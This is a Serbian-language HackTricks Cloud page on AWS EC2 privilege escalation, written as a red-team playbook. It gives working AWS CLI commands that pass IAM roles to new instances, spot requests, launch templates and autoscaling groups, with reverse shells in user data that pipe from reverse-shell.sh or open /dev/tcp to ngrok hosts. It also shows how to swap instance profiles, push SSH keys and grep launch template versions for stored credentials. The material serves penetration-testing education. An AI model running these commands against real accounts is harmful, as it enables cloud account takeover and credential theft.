AWS - EC2 Privesc
Reading time: 10 minutes
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
EC2
Za više informacija o EC2 proverite:
AWS - EC2, EBS, ELB, SSM, VPC & VPN Enum
iam:PassRole
, ec2:RunInstances
Napadač bi mogao da kreira instancu povezujući IAM ulogu i zatim pristupi instanci da ukrade kredencijale IAM uloge sa metadata krajnje tačke.
- Pristup preko SSH
Pokrenite novu instancu koristeći kreirani ssh ključ (--key-name
) i zatim se povežite na nju putem ssh (ako želite da kreirate novi, možda će vam biti potrebna dozvola ec2:CreateKeyPair
).
aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
--iam-instance-profile Name=<instance-profile-name> --key-name <ssh-key> \
--security-group-ids <sg-id>
- Pristup putem rev shell-a u korisničkim podacima
Možete pokrenuti novu instancu koristeći korisničke podatke (--user-data
) koji će vam poslati rev shell. Na ovaj način ne morate da specificirate sigurnosnu grupu.
echo '#!/bin/bash
curl https://reverse-shell.sh/4.tcp.ngrok.io:17031 | bash' > /tmp/rev.sh
aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
--iam-instance-profile Name=<instance-profile-name> \
--count 1 \
--user-data "file:///tmp/rev.sh"
Budite oprezni sa GuradDuty ako koristite kredencijale IAM uloge van instance:
Potencijalni uticaj: Direktno privesc na bilo koju EC2 ulogu koja je povezana sa postojećim profilima instance.
Privesc na ECS
Sa ovim skupom dozvola mogli biste takođe napraviti EC2 instancu i registrovati je unutar ECS klastera. Na ovaj način, ECS usluge će biti pokrenute unutar EC2 instance na kojoj imate pristup, a zatim možete prodrijeti u te usluge (docker kontejneri) i ukrasti njihove ECS uloge koje su povezane.
aws ec2 run-instances \
--image-id ami-07fde2ae86109a2af \
--instance-type t2.micro \
--iam-instance-profile <ECS_role> \
--count 1 --key-name pwned \
--user-data "file:///tmp/asd.sh"
# Make sure to use an ECS optimized AMI as it has everything installed for ECS already (amzn2-ami-ecs-hvm-2.0.20210520-x86_64-ebs)
# The EC2 instance profile needs basic ECS access
# The content of the user data is:
#!/bin/bash
echo ECS_CLUSTER=<cluster-name> >> /etc/ecs/ecs.config;echo ECS_BACKEND_HOST= >> /etc/ecs/ecs.config;
Da biste naučili kako da prisilite ECS usluge da se pokrenu u ovoj novoj EC2 instanci, proverite:
Ako ne možete da kreirate novu instancu ali imate dozvolu ecs:RegisterContainerInstance
, možda ćete moći da registrujete instancu unutar klastera i izvršite komentarisani napad.
Potencijalni uticaj: Direktno privesc na ECS uloge povezane sa zadacima.
iam:PassRole
, iam:AddRoleToInstanceProfile
Slično prethodnom scenariju, napadač sa ovim dozvolama mogao bi da promeni IAM ulogu kompromitovane instance kako bi mogao da ukrade nove akreditive.
Pošto profil instance može imati samo 1 ulogu, ako profil instance već ima ulogu (uobičajen slučaj), takođe će vam biti potrebna iam:RemoveRoleFromInstanceProfile
.
# Removing role from instance profile
aws iam remove-role-from-instance-profile --instance-profile-name <name> --role-name <name>
# Add role to instance profile
aws iam add-role-to-instance-profile --instance-profile-name <name> --role-name <name>
Ako profil instance ima ulogu i napadač ne može da je ukloni, postoji još jedno rešenje. On može pronaći profil instance bez uloge ili napraviti novi (iam:CreateInstanceProfile
), dodati ulogu tom profilu instance (kao što je ranije diskutovano), i povezati profil instance koji je kompromitovan sa kompromitovanom instancom:
- Ako instanca nema nijedan profil instance (
ec2:AssociateIamInstanceProfile
)
aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
Potencijalni uticaj: Direktno privesc na drugu EC2 ulogu (morate da ste kompromitovali AWS EC2 instancu i da imate dodatne dozvole ili specifičan status instance profila).
iam:PassRole
(( ec2:AssociateIamInstanceProfile
& ec2:DisassociateIamInstanceProfile
) || ec2:ReplaceIamInstanceProfileAssociation
)
Sa ovim dozvolama moguće je promeniti instance profil povezan sa instancom, tako da ako je napadač već imao pristup instanci, moći će da ukrade kredencijale za više uloga instance profila menjajući onaj koji je povezan sa njom.
- Ako ima instance profil, možete ukloniti instance profil (
ec2:DisassociateIamInstanceProfile
) i povezati ga
aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Values=i-0d36d47ba15d7b4da
aws ec2 disassociate-iam-instance-profile --association-id <value>
aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
- ili zameni profil instance kompromitovane instance (
ec2:ReplaceIamInstanceProfileAssociation
).
aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name=<value> --association-id <value>
Potencijalni uticaj: Direktno privesc na drugu EC2 ulogu (morate da ste kompromitovali AWS EC2 instancu i da imate dodatne dozvole ili specifičan status instance profila).
ec2:RequestSpotInstances
,iam:PassRole
Napadač sa dozvolama ec2:RequestSpotInstances
i iam:PassRole
može zatražiti Spot Instancu sa priključenom EC2 ulogom i rev shell u korisničkim podacima.
Kada se instanca pokrene, može ukrasti IAM ulogu.
REV=$(printf '#!/bin/bash
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
' | base64)
aws ec2 request-spot-instances \
--instance-count 1 \
--launch-specification "{\"IamInstanceProfile\":{\"Name\":\"EC2-CloudWatch-Agent-Role\"}, \"InstanceType\": \"t2.micro\", \"UserData\":\"$REV\", \"ImageId\": \"ami-0c1bc246476a5572b\"}"
ec2:ModifyInstanceAttribute
Napadač sa ec2:ModifyInstanceAttribute
može da menja atribute instanci. Među njima, može da promeni korisničke podatke, što podrazumeva da može da natera instancu da izvrši proizvoljne podatke. To se može iskoristiti za dobijanje rev shell-a na EC2 instanci.
Napomena: Atributi se mogu menjati samo dok je instanca zaustavljena, tako da su potrebne dozvole ec2:StopInstances
i ec2:StartInstances
.
TEXT='Content-Type: multipart/mixed; boundary="//"
MIME-Version: 1.0
--//
Content-Type: text/cloud-config; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment; filename="cloud-config.txt"
#cloud-config
cloud_final_modules:
- [scripts-user, always]
--//
Content-Type: text/x-shellscript; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment; filename="userdata.txt"
#!/bin/bash
bash -i >& /dev/tcp/2.tcp.ngrok.io/14510 0>&1
--//'
TEXT_PATH="/tmp/text.b64.txt"
printf $TEXT | base64 > "$TEXT_PATH"
aws ec2 stop-instances --instance-ids $INSTANCE_ID
aws ec2 modify-instance-attribute \
--instance-id="$INSTANCE_ID" \
--attribute userData \
--value file://$TEXT_PATH
aws ec2 start-instances --instance-ids $INSTANCE_ID
Potencijalni uticaj: Direktno privesc na bilo koju EC2 IAM ulogu povezanu sa kreiranom instancom.
ec2:CreateLaunchTemplateVersion
,ec2:CreateLaunchTemplate
,ec2:ModifyLaunchTemplate
Napadač sa dozvolama ec2:CreateLaunchTemplateVersion
,ec2:CreateLaunchTemplate
i ec2:ModifyLaunchTemplate
može da kreira novu verziju Launch Template-a sa rev shell-om u korisničkim podacima i bilo kojom EC2 IAM ulogom na njemu, promeni podrazumevanu verziju, i bilo koja Autoscaler grupa koja koristi taj Launch Template koji je konfiguran da koristi najnoviju ili podrazumevanu verziju će ponovo pokrenuti instance koristeći taj template i izvršiće rev shell.
REV=$(printf '#!/bin/bash
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
' | base64)
aws ec2 create-launch-template-version \
--launch-template-name bad_template \
--launch-template-data "{\"ImageId\": \"ami-0c1bc246476a5572b\", \"InstanceType\": \"t3.micro\", \"IamInstanceProfile\": {\"Name\": \"ecsInstanceRole\"}, \"UserData\": \"$REV\"}"
aws ec2 modify-launch-template \
--launch-template-name bad_template \
--default-version 2
Potencijalni uticaj: Direktno privesc na drugu EC2 ulogu.
autoscaling:CreateLaunchConfiguration
, autoscaling:CreateAutoScalingGroup
, iam:PassRole
Napadač sa dozvolama autoscaling:CreateLaunchConfiguration
,autoscaling:CreateAutoScalingGroup
,iam:PassRole
može napraviti Launch Configuration sa IAM ulogom i rev shell unutar korisničkih podataka, zatim napraviti autoscaling grupu iz te konfiguracije i čekati da rev shell ukrade IAM ulogu.
aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-launch-configuration \
--launch-configuration-name bad_config \
--image-id ami-0c1bc246476a5572b \
--instance-type t3.micro \
--iam-instance-profile EC2-CloudWatch-Agent-Role \
--user-data "$REV"
aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-auto-scaling-group \
--auto-scaling-group-name bad_auto \
--min-size 1 --max-size 1 \
--launch-configuration-name bad_config \
--desired-capacity 1 \
--vpc-zone-identifier "subnet-e282f9b8"
Potencijalni uticaj: Direktno privesc na drugu EC2 ulogu.
!autoscaling
Skup dozvola ec2:CreateLaunchTemplate
i autoscaling:CreateAutoScalingGroup
nije dovoljan za eskalaciju privilegija na IAM ulogu jer je za pridruživanje uloge navedene u Launch Configuration ili u Launch Template potrebno dozvola iam:PassRole
i ec2:RunInstances
(što je poznata privesc).
ec2-instance-connect:SendSSHPublicKey
Napadač sa dozvolom ec2-instance-connect:SendSSHPublicKey
može dodati ssh ključ korisniku i koristiti ga za pristup (ako ima ssh pristup instanci) ili za eskalaciju privilegija.
aws ec2-instance-connect send-ssh-public-key \
--instance-id "$INSTANCE_ID" \
--instance-os-user "ec2-user" \
--ssh-public-key "file://$PUBK_PATH"
Potencijalni uticaj: Direktno privesc na EC2 IAM uloge povezane sa aktivnim instancama.
ec2-instance-connect:SendSerialConsoleSSHPublicKey
Napadač sa dozvolom ec2-instance-connect:SendSerialConsoleSSHPublicKey
može dodati ssh ključ na serijsku vezu. Ako serijska veza nije omogućena, napadač treba dozvolu ec2:EnableSerialConsoleAccess
da je omogući.
Da biste se povezali na serijski port, takođe morate znati korisničko ime i lozinku korisnika unutar mašine.
aws ec2 enable-serial-console-access
aws ec2-instance-connect send-serial-console-ssh-public-key \
--instance-id "$INSTANCE_ID" \
--serial-port 0 \
--region "eu-west-1" \
--ssh-public-key "file://$PUBK_PATH"
ssh -i /tmp/priv $INSTANCE_ID.port0@serial-console.ec2-instance-connect.eu-west-1.aws
Ovaj način nije previše koristan za privesc jer je potrebno znati korisničko ime i lozinku da bi se iskoristio.
Potencijalni uticaj: (Veoma neproveren) Direktan privesc na EC2 IAM uloge povezane sa aktivnim instancama.
describe-launch-templates
,describe-launch-template-versions
Pošto launch templates imaju verzionisanje, napadač sa ec2:describe-launch-templates
i ec2:describe-launch-template-versions
dozvolama mogao bi da iskoristi ovo da otkrije osetljive informacije, kao što su akreditivi prisutni u korisničkim podacima. Da bi to postigao, sledeći skript prolazi kroz sve verzije dostupnih launch templates:
for i in $(aws ec2 describe-launch-templates --region us-east-1 | jq -r '.LaunchTemplates[].LaunchTemplateId')
do
echo "[*] Analyzing $i"
aws ec2 describe-launch-template-versions --launch-template-id $i --region us-east-1 | jq -r '.LaunchTemplateVersions[] | "\(.VersionNumber) \(.LaunchTemplateData.UserData)"' | while read version userdata
do
echo "VersionNumber: $version"
echo "$userdata" | base64 -d
echo
done | grep -iE "aws_|password|token|api"
done
U gornjim komandama, iako specificiramo određene obrasce (aws_|password|token|api
), možete koristiti drugačiji regex za pretragu drugih tipova osetljivih informacija.
Pretpostavljajući da pronađemo aws_access_key_id
i aws_secret_access_key
, možemo koristiti te akreditive za autentifikaciju na AWS.
Potencijalni uticaj: Direktno eskaliranje privilegija na IAM korisnika(e).
Reference
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.